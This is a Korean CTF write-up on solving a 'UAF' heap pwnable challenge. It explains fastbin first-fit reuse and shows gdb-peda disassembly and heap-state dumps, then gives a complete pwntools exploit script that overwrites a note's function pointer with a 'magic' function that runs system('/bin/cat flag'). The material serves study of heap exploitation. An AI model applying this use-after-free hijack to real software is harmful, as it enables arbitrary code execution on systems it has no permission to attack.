[Pwnable] UAF
들어가며
이 문제는 heap exploitation
을 공부하고 처음으로 다룬 문제이다.
역시 문제를 풀어보는 것이 공부에 도움이 되는 것 같다.
malloc에서 first-fit
알고리즘을 이용한 공격기법인 UAF(User After Free)
로 문제를 풀 수 있다.
first-fit 이란?
first-fit
알고리즘은 malloc함수에서 재할당
시에 행하는 알고리즘이다.
해제된 Chunk가 fastbinsY
에서 관리될 경우 해제된 Heap의 크기와 동일하게 할당하는 알고리즘이다.
예시를 들어 설명하면 다음과 같다.
a = malloc(8) -> free(a) 하게 되면, fastbinsY[0]
에는 a의 주소
가 들어가게 된다.
이때, b = malloc(8) 을 하면 b의 주소
는 이전에 할당받은 a의 주소
와 같다.
탐색
문제에서 <add_note>
중, malloc이 일어나는 곳은 총 2곳이다.
gdb-peda$ pd add_note
Dump of assembler code for function add_note:
...
0x080486c8 <+82>: push 0x8
0x080486ca <+84>: call 0x80484e0 <malloc@plt>
0x080486cf <+89>: add esp,0x10
0x080486d2 <+92>: mov edx,eax
0x080486d4 <+94>: mov eax,DWORD PTR [ebp-0x1c]
0x080486d7 <+97>: mov DWORD PTR [eax*4+0x804b070],edx
0x080486de <+104>: mov eax,DWORD PTR [ebp-0x1c]
0x080486e1 <+107>: mov eax,DWORD PTR [eax*4+0x804b070]
...
0x08048706 <+144>: mov eax,DWORD PTR [ebp-0x1c]
0x08048709 <+147>: mov eax,DWORD PTR [eax*4+0x804b070]
0x08048710 <+154>: mov DWORD PTR [eax],0x804865b
...
End of assembler dump.
gdb-peda$ x/wx 0x804b070
0x804b070 <notelist>: 0x08fdc008
gdb-peda$ x/16wx 0x08fdc000
0x8fdc000: 0x00000000 0x00000011 0x0804865b 0x08fdc018
0x8fdc010: 0x00000000 0x00000011 0x41414141 0x0000000a
0x8fdc020: 0x00000000 0x00020fe1 0x00000000 0x00000000
0x8fdc030: 0x00000000 0x00000000 0x00000000
gdb-peda$ x/i 0x804865b
0x804865b <print_note_content>: push ebp
첫번째 malloc 구간에서는 malloc(8)을 하며,
<print_note_content>
함수 주소를 ¬elist
에 넣는다.ebp+0x1c
는 notelist_index
이다.
두번째 malloc 구간에서는 malloc(input) 한다. 이때, input은 사용자가 입력한 값이다.
¬elist
는 첫번째 malloc 구간의 Data를 저장한다. -> 이게 제일 중요!
문제를 풀기 위해선, 출제자가 풀 수 있게끔 만들어 놓은 함수
를 자세히 봐야한다.
이 문제에선 <print_note>
함수를 주의깊게 봐야한다.
gdb-peda$ pd print_note
Dump of assembler code for function add_note:
...
0x08048953 <+126>: mov eax,DWORD PTR [ebp-0x14]
0x08048956 <+129>: mov eax,DWORD PTR [eax*4+0x804b070]
0x0804895d <+136>: mov eax,DWORD PTR [eax]
0x0804895f <+138>: mov edx,DWORD PTR [ebp-0x14]
0x08048962 <+141>: mov edx,DWORD PTR [edx*4+0x804b070]
0x08048969 <+148>: sub esp,0xc
0x0804896c <+151>: push edx
0x0804896d <+152>: call eax
...
End of assembler dump.
gdb-peda$ i r eax
eax 0x0 0x0
gdb-peda$ x/wx $eax*4+0x804b070
0x804b070 <notelist>: 0x08fdc008
gdb-peda$ x/wx 0x08fdc008
0x8fdc008: 0x0804865b
¬elist
에서 사용자 에게 받은 index를 더한 후, 그 값의 주소를 호출한다.
정리하면,
1. <add_note>
는 8bytes와 사용자 지정 크기로 malloc 함수를 호출하여 할당한다.
이때, ¬elist
는 첫번째 malloc 구간의 Data
를 저장한다.
2. 8bytes를 할당받은 곳의 Data영역에는 print_note_content
함수주소가 담겨있다.
3. <print_note>
함수에서 <add_note>
에서 등록할때의 ¬elist
에 저장된 주소를 호출한다.
3번에서 나는 <add_note>
와 <del_note>
를 잘 이용하면 ¬elist
에 저장된 주소를 덮을 수 있지 않을까 생각했다.
덮을 주소는 <magic>
이라는 함수로, system("/bin/cat flag");를 실행해주는 함수이다.
풀이
1. 8크기의 note를 2개 추가한다.
# Stage 1
# 0x8fdc000: 0x00000000 0x00000011 0x0804865b 0x08fdc018
# 0x8fdc010: 0x00000000 0x00000011 0x41414141 0x00000000
# 0x8fdc020: 0x00000000 0x00000011 0x0804865b 0x08fdc038
# 0x8fdc030: 0x00000000 0x00000011 0x42424242 0x00000000
# notelist[0] = 0x8fdc008, notelist[1] = 0x8fdc028
add_note(8, 'A'*4)
add_note(8, 'B'*4)
2. 이후 2개의 note를 삭제한다.
# Stage 2
# 0x8fdc000: 0x00000000 0x00000011 0x08fdc010 0x08fdc018
# 0x8fdc010: 0x00000000 0x00000011 0x08fdc020 0x00000000
# 0x8fdc020: 0x00000000 0x00000011 0x08fdc030 0x08fdc038
# 0x8fdc030: 0x00000000 0x00000011 0x00000000 0x00000000
# notelist[0] = 0x8fdc008, notelist[1] = 0x8fdc028
# fastbinsY = {0x08fdc000, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
del_note(1)
del_note(0)
이때, fastbinsY
는 다음과 같이 바뀐다.
1. del_note(1)
fastbinY {0x08fdc020 -> 0x08fdc030}
2. del_note(0)
fastbinY {0x08fdc000 -> 0x08fdc010 -> 0x08fdc020 -> 0x08fdc030}
3. 크기가 다른(16bytes) note를 1개 추가한다.
# Stage 3
# 0x8fdc000: 0x00000000 0x00000011 0x0804865b 0x08fdc048
# 0x8fdc010: 0x00000000 0x00000011 0x08fdc020 0x00000000
# 0x8fdc020: 0x00000000 0x00000011 0x08fdc030 0x08fdc038
# 0x8fdc030: 0x00000000 0x00000011 0x00000000 0x00000000
# 0x8fdc040: 0x00000000 0x00000019 0x43434343 0x43434343
# 0x8fdc050: 0x43434343 0x43434343 0x00000000 0x00020fa9 -> top chunk
# notelist[0] = 0x8fdc008, notelist[1] = 0x8fdc028,
# notelist[2] = 0x8fdc008
# fastbinsY = {0x08fdc010, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
add_note(16, 'C'*16)
이때, 첫번째 할당에서 malloc(8)은 first-fit
알고리즘을 통해서 0x8fdc000을 할당받는다.
fastbinsY
는 다음과 같이 바뀐다.
fastbinY
에서 가장 최근에 free된 8bytes의 chunck를 malloc 재할당에 사용하였다.
3. add_note(16)
fastbinY {0x08fdc010 -> 0x08fdc020 -> 0x08fdc030}
4. 8bytes의 크기의 note를 추가한다. 이때, text는 magic의 주소로 준다.
# Stage 4
# 0x8fdc000: 0x00000000 0x00000011 0x0804865b 0x08fdc048
# 0x8fdc010: 0x00000000 0x00000011 0x0804865b 0x08fdc028
# 0x8fdc020: 0x00000000 0x00000011 0x08048986 0x08fdc038
# 0x8fdc030: 0x00000000 0x00000011 0x00000000 0x00000000
# 0x8fdc040: 0x00000000 0x00000019 0x43434343 0x43434343
# 0x8fdc050: 0x43434343 0x43434343 0x00000000 0x00020fa9 -> top chunk
# notelist[0] = 0x8fdc008, notelist[1] = 0x8fdc028
# notelist[2] = 0x8fdc008, notelist[3] = 0x8fdc018
# fastbinsY = {0x08fdc030, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}
add_note(8, p32(magic))
이때, 첫번째 할당에서 malloc(8)은 first-fit
알고리즘을 통해서 0x8fdc010을 할당받는다.
또한 두번째 할당에서도 마찬가지로 malloc(8)이므로, 0x8fdc020을 할당받는다.
fastbinsY
는 다음과 같이 바뀐다.
4. add_note(8)
fastbinY {0x08fdc020 -> 0x08fdc030}
fastbinY {0x08fdc030}
5. notelist에서 1번째 index를 <print_note>의 param으로 넣어준다.
gdb-peda$ pd print_note
Dump of assembler code for function add_note:
...
0x08048953 <+126>: mov eax,DWORD PTR [ebp-0x14]
0x08048956 <+129>: mov eax,DWORD PTR [eax*4+0x804b070]
0x0804895d <+136>: mov eax,DWORD PTR [eax]
0x0804895f <+138>: mov edx,DWORD PTR [ebp-0x14]
0x08048962 <+141>: mov edx,DWORD PTR [edx*4+0x804b070]
0x08048969 <+148>: sub esp,0xc
0x0804896c <+151>: push edx
0x0804896d <+152>: call eax
...
End of assembler dump.
gdb-peda$ i r eax
eax 0x1 0x1
gdb-peda$ x/wx $eax*4+0x804b070
0x804b074 <notelist+4>: 0x08fdc028
gdb-peda$ x/wx 0x08fdc028
0x8fdc028: 0x08048986
gdb-peda$ x/4wx 0x08fdc020
0x8fdc020: 0x00000000 0x00000011 0x08048986 0x08fdc038
gdb-peda$ x/i 0x08048986
0x8048986 <magic>: push ebp
exploit.py
from pwn import *
def add_note(size, text):
r.sendlineafter(' :', '1')
r.sendlineafter(' :', str(size))
r.sendlineafter(' :', text)
def del_note(index):
r.sendlineafter(' :', '2')
r.sendlineafter(' :', str(index))
def print_note(index):
r.sendlineafter(' :', '3')
r.sendlineafter(' :', str(index))
r = remote('ctf.j0n9hyun.xyz', 3020)
magic = 0x08048986
add_note(8, 'A'*4)
add_note(8, 'B'*4)
del_note(1)
del_note(0)
add_note(16, 'C'*16)
add_note(8, p32(magic))
print_note(1)
r.recvuntil(':')
print(r.recvuntil('\n'))